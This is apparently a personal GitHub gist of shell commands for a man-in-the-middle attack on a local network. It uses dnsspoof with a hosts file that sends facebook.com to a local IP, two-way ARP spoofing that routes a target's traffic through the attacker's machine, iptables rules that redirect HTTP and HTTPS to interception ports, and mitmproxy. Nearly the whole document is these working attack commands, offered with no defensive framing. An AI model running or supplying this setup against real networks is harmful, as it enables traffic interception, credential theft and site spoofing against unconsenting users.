Last active
September 27, 2016 02:03
-
-
Save JamesMarino/66954645c9427a289e43a71f42438a97 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# DNS Spoofing | |
dnsspoof -i eth0 -f hosts | |
# ARP Spoofing (Pass all traffic through the device) | |
sudo arpspoof -i eth0 -t 10.0.0.138 10.0.0.8 | |
sudo arpspoof -i eth0 -t 10.0.0.8 10.0.0.138 | |
# hosts file is like this | |
# 10.0.0.28 *.facebook.com | |
# List from the NAT tables | |
iptables -t nat -L | |
# List all rules | |
iptables -L | |
# Flush all from NAT table | |
iptables -t nat -F | |
# Random Firewall commands | |
iptables -A INPUT -p udp --source-port 53 -m mac --mac-destination 00:26:44:76:44:99 -j DROP | |
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 | |
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 | |
# Install full version of Kali | |
sudo apt-get install kali-linux-full -y | |
# Process List | |
ps -ef | grep "regex" | |
# Network Stat | |
netstat | |
# MITMProxy | |
mitmproxy |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment